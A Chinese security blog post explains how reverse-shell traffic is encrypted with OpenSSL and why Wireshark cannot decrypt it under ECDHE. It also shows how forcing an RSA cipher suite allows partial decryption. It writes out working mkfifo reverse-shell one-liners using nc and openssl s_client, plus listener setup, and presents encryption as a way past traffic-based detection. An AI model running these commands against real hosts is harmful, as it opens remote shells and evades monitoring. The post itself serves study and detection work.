反弹Shell流量加密与解密
今天在VX群里无意间看见有同学提了一个问题:关于加密反弹shell流量,无法使用Wireshark解密。看了一下问题描述,想到了关于SSL/TSL协议加密套件的一些细节,于是在群里解答了提问同学的疑惑。但中午吃饭时想到似乎没那么简单,于是下午手动操作了一波,终于发现里面有一些隐藏的知识点,记录一下做备忘
作者:古月蓝旻
起因
在一起都要从一只蝙蝠说起...不存在的,今天上午无意中在群中发现这么一条消息
非常典型的使用OpenSSL加密反弹shell,相关文章也挺多的
rm /tmp/s;mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s
该反弹shell原型如下,用于应对靶机的nc命令无-e参数的情况
rm /tmp/s;mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 |nc 127.0.0.1 4242 >/tmp/s
代码略有不同,但效果和原理是一样的,都是通过mkfifo命令创建管道,从攻击机的指定端口接收输入,通过sh执行,并将标准输出和错误输出通过管道返回给攻击机
关于反弹shell的各路姿势,文章很多,参考:
由于反弹Shell的危害还是相当高的,因此越来越多的安全产品开始陆续加入反弹Shell检测的行列中,根据个人的观察,主要分为两类:
- 网络层检测
如检测连接IP是否为公网IP、流量中是否命中Shell关键字、是否包含Linux常用命令及结果关键字等
- 主机层检测
如检测Shell命令是否触发反弹Shell关键字、检测是否Shell发起面向公网IP的Socket连接、内核捕获Shell动作等
检测的方式五花八门,但从我个人经验来看,主机层的检测还凑合,网络层的检测很容易造成误报或者漏报,反弹Shell的姿势真的是百花齐放,仅次于WebShell的各种花里胡哨的变形。举个简单例子,上面的mkfifo反弹shell,在不加密情况下,抓一下流量
tcpdump -i eth0 port 6666 -w test111.pcap
基本全是TCP协议的数据包,追踪一下TCP流
整个一交互式Shell的界面,如果是基于关键字去匹配嘛,是可以检测,但是误报真的挺多的,所以很难从中提取出很有价值的检测指标,但也真的扛不住部分基于流量的安全检测产品使用上述思路,简单粗暴的检测,在这种检测思路下,明文的反弹Shell很容易被发现,所以我们本次的主角加密反弹Shell应运而生,就是为了和上述思路做对抗(讲道理,加密反弹Shell也不是什么万金油,只可以绕过部分基于流量检测的场景,遇到基于主机检测的基本就挂了)
加密反弹Shell初探
关于加密反弹Shell的复现文章挺多的,基本都是OpenSSL配合mkfifo管道进行,过程参见
步骤1:使用OpenSSL生成自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成过程信息懒得填写可以一路回车,私钥就是key.pem,证书即为cert.pem
步骤2:使用OpenSSL在指定端口启动SSL/TLS server
openssl s_server -quiet -key key.pem -cert cert.pem -port 6666
启动SSL/TLS server 监听本地6666端口
步骤3:靶机执行反弹Shell命令
rm /tmp/s;mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:6666 > /tmp/s
显而易见,核心部分在于
openssl s_client -quiet -connect x.x.x.x:6666
相当于创建了客户端去连接了Server端
效果和上面不加密从直观上没什么区别,从流量上则大有不同,同样使用tcpdump抓取相关数据包
3次握手以后就直接从TCP协议变成了TLSv1.2,原先几乎等于明文的TCP数据包也变成了看不懂的Application Data,说明流量确实被加密,一般教的教程到这里就止步了,没有写原理,也没有说如何解密
加密反弹Shell解密初探
如上所述,教程到此止步,并未讲解如何解密,然后群里提问的小伙伴则参考HTTPS加密流量使用wireshark导入私钥解密的方法,结果发现,并不能解开,于是在群里发问
确实是一个好问题,一开始看到的时候大致想到了ECDHE/DHE算法前向加密的特性,但是本着实践出真知的决定手动复现一下,抓取一下相关数据包,如上文操作,先不管其它,通过Preference->Protocols->TLS(老版本WS找SSL),在RSA keys list(注意这里的RSA,后面要考)选项添加上面OpenSSL第一步生成的私钥key.pem
然后一路OK,回到主窗口
再看数据包,完全没有解密,到这里我们就复现了群里小伙伴的问题
是WireShark不行还是姿势不对?
根据上图我们知道整个加密过程依赖TLSv1.2协议,网上相关教程很多,但大多以RSA算法为例,涉及证书校验、服务端/客户端随机数、Premaster secret、Master secret等。
推荐一篇个人认为比较好的系列:
SSL/TLS协议详解(上):密码套件,哈希,加密,密钥交换算法
简单概括:双方协商,通过选择指定算法套件Cipher suite,使用其中的密钥交换算法或非对称加密算法交换对称加密算法密钥,对之后的报文内容实用对称加密算法进行加密,使用散列算法校验完整性这些不提了
下图是以RSA算法为核心SSL握手过程,TLS是基本相同的
而此类流量使用Wireshark解密,往往是两种主流方式:
- 配置SSLKEYLOGFILE环境变量,指定浏览器会将协商过程中的重要密钥,比如Premaster-secret记录,然后配置Wireshark的相关参数即可
缺点就是受限于浏览器,仅限Chrome等少数浏览器可以配置现实环境
- 直接导入私钥或者从含有私钥的证书中提取私钥,导入Wireshark,如我上文演示
P.S. 这个也就自己试验,生成自签名证书或者你是域名管理员可以做到,否则真的企业级域名私钥或含有私钥的证书外泄,不是小事情
当然解密通过SSL/TLS加密的流量不是只有Wireshark能做到,比如ssldump
ssldump -Ad -k./**private**.pem -r ./ssl.pcap
或者直接用强大的OpenSSL本身,何必再找第三方工具,群里小伙伴推荐的FB教程就是讲解这个的
其实上面说了这么多,一直是想强调一个被很多人忽略的信息:
这些全是基于RSA算法交换密钥解密的方法,而交换密钥的算法不是只有这一个
我们仔细看一下反弹Shell的客户端和服务端通讯的时候,到底选择了什么算法套件
在SSL和TLS协商过程中:客户端在握手协议Client Hello包里提供算法套件列表,服务端在Server Hello包里从中选择一个算法套件,那我们看Server Hello里到底选择了啥Cipher Suite
如上图,选择了TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:其中ECDHE用于密钥交换,RSA用于给ECDHE算法传递的公钥签名,有兴趣的可以搜一下这个算法套件组合。本次不能解密的原因就出在ECDHE这个算法上
ECDHE 临时椭圆曲线Diffie-Hellman(ephemeral elliptic curve Diffie-Hellman,ECDHE)密钥交换。建立在椭圆曲线加密的基础之上。椭圆曲线算法是相对较新的算法。大家认可它执行很 快而且提供了前向保密。但是只有较新的客户端才能较好地支持。ECDHE也是一种密钥 协定算法,其理论原理与DHE类似。在TLS中,ECDHE可以与RSA或者ECDSA身份验证 一起使用。
我们知道RSA算法的有效性依赖于:大整数因式分解的困难度
而DH、DHE算法的有效性则依赖于:大素数计算离散对数的困难度
而ECDHE算法的有效性除计算离散对数的困难外,还依赖于:椭圆曲线加密算法(ECC)本身的几何困难度
再补充一点容易被人误解的概念:DH、DHE、ECDH、ECDHE算法均为密钥交换算法,而不是非对称加密算法。只不过在Cipher Suite中我们可以使用RSA这种非对称加密算法来交换密钥,而非Cipher Suite的第一部分必须是非对称加密算法
这个就涉及到Cipher Suite本身的概念讲解了,以下面这个套件为例讲解一下
ECDHE-ECDSA-AES128-GCM-SHA256
可以分成4个部分:
ECDHE 是密钥交换算法
ECDSA 是认证算法,一般用于认证密钥交换算法的签名
AES128 是大容量加密算法,一般是对称加密算法用于对消息内容主题进行加密
SHA256 是带密钥的散列算法即MAC算法,用于创建报文摘要验证完整性;有时也可以是伪随机函数即PRF算法,TLS1.2的PRF算法的目的是生成第三部分对称加密的信道参数,对称加密信道的最重要的密码学参数是对称加密的密钥,哈希的密钥(HMAC),IV(初始向量),PRF算法最后就是用来生成这6个参数的(发送端和接收端不同,每一端3个参数)
更多概念参考What is Cipher Suite?
可以看到密码学的基石就是数学,密码学家设计一个算法时,往往是将一个数学难题以代码形式实现,如果真的有一天这个算法被破解,也就相当于这个数学界的难题被攻克,真的是一举数得
不同的密钥交换算法其实从安全性和性能消耗上是不一样的
那么本次无法解密的真正原因就是ECDHE算法导致无法解密
因为ECDHE(DHE)算法属于DH类密钥交换算法, 私钥不参与密钥的协商,故即使私钥泄漏,客户端和服务器之间加密的报文都无法被解密,这叫 前向安全(forward secrity)。由于ECDHE每条会话都重新计算一个密钥(Ra、Rb),故一条会话被解密后,其他会话仍旧安全。
可以看出ECDHE算法的出现,一部分原因正是由于RSA算法的缺陷,导致私钥一旦泄露,相关历史流量均可以解密,而没有企业可以保证自身私钥一定不会泄露,而ECDHE算法实现的前向安全正是保证私钥泄露后不会出现上述情况的原因
当然各类算法其实各有利弊,在提高安全性的同时也会一定程度降低效率或面临其它类型的攻击
而ECDHE相关的算法套件也被越来越多的大型互联网公司,如Google、Apple等巨头选择,因此指望拿到私钥就能解密一切流量的场景今后可能也会越来越少
到这里就完成了这个问题的解答:
使用了TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384加密套件的流量,无法解密,原因就是ECDHE算法前向安全的特性
加密反弹Shell解密再探
难道ECDHE做密钥交换算法,难道还可以有别的姿势可以解密?
我这里当然没有,如果以后该算法被曝出存在巨大缺陷则再说
下午再看这个问题的时候,突然想到一点,提问的小伙伴还是想解密相关流量的
虽然说ECDHE算法无解,但毕竟算法啥的不都是服务端选择的嘛,我们自己指定服务端选择RSA作为密钥交换算法可以不?
当然是可以的,OpenSSL无愧最强加密套件,支持-cipher参数指定加密算法套件
说干就干,先从Client Hello包里选择一个好欺负的Cipher Suite
看起来比较好欺负的就是下面这些了
再从里面选择基本可以算安全性倒数的算法套件好了
TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
既然openssl可以使用-cipher参数指定套件,是不是可以这样运行命令呢
openssl s_server -quiet -key key.pem -cert cert.pem -cipher TLS_RSA_WITH_AES_128_CBC_SHA256 -port 6666
当然是不行的,报错显示源码里根本没有这个套件,说好的最强加密工具OpenSSL呢??
思考了一下,握手包里的Cipher Suite不一定就等于OpenSSL命令-cipher参数可以接受的参数值,直接查下官方文档看看这个参数怎么用好了
果然,人家openssl cipher参数就是不一样,可以使用下面命令看
openssl ciphers -v
第一列才是它真正可以接受的值
任意选取一行看一下
四个部分一目了然:
Kx即密钥交换算法是ECDH
Au即认证算法是RSA
Enc是大容量加密算法及AES256 GCM模式
Mac是带密钥的散列算法,这里选择了AEAD
如果想只看RSA相关算法,可以这样
openssl ciphers -v "RSA"
这样我们就知道,如果想使得加密套件为TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c),密钥交换算法Kx是RSA的,参数必须是AES128-SHA256,就是这样简洁明了
所以命令就是
openssl s_server -quiet -key key.pem -cert cert.pem -cipher AES128-SHA256 -port 6666
直接走起
抓包看看结果
果然Server Hello选择了我们的弱鸡套件,哈哈哈
既然选择了RSA算法交换密钥,是不是就是可以解密了?直接配置导入私钥key.pem
这里说明一下,IP和端口的选择取决于谁是openssl的server端,不要弄混,以及protocol参数居然不支持大写字母,之所以选择tcp是因为发现未加密的时候,报文是在tcp协议中的,本身也没有多余的类似http、pop这些的上层协议
然后一路OK,效果就是这样,原先的Application Data后面多了一个[Malformed Packet],果然是畸形的爱啊
那么我们想要的解密流量呢?
选中一个包含畸形的爱的数据包,底下多了一个选项卡Decrypted TLS,点开看下有惊喜,就是我们敲击的命令whoami
也是可以手动找到对应的响应的
如果你尝试去跟踪该TCP流,会得到Wireshark报错,显示传输层或网络层头丢失,难怪畸形啊
到这里是不是就可以说通过RSA算法交换密钥的反弹Shell流量可解密了呢?
恐怕还是不行,试验过程中我发现这种畸形数据包解析出来的流量大小非常小,往往不超过20byte,如果我使用ip a命令查看网卡情况,也是仅有该命令而无该命令返回结果。
说明在wireshark对此类畸形包的解析仅能处理部分长度不大的输入和输出,对于超过一定字节的畸形包由于无法确定包头和各部分的偏移offset,无法解析
这个问题一直没有解决,个人猜想如下:TCP协议属于传输层协议,各类教程提及的HTTPS流量解密至HTTP属于应用层协议,Wireshark对应用层协议的处理无问题,但是对于传输层的协议处理还是存在bug
如下图,如果我把协议名从"tcp"修改成"tcpp",wireshark会直接报错,并告知支持的协议类型,可以看到主要以应用层各类协议为主,虽然TCP也赫然在列,但推测还是有bug。如果将来有时间可以探究一下是姿势问题还是软件问题。
如遇其他Wireshark解密TLS流量的问题,参考Wireshark解密TLS报文
结语
到这里就完成了反弹Shell流量加密与解密的探究,主要是讲解:
反弹Shell加密过程;
ECDHE密钥交换算法的前向加密特性导致无法通过私钥解密;
服务端如何选择指定加密套件;
Wireshark解析TCP层流量的坑点;
虽然还是有遗留问题,但是基本上也差不多了,推荐《HTTPS权威指南》,真心好书,此文作为备忘,以后还是要多写文章~
还不快抢沙发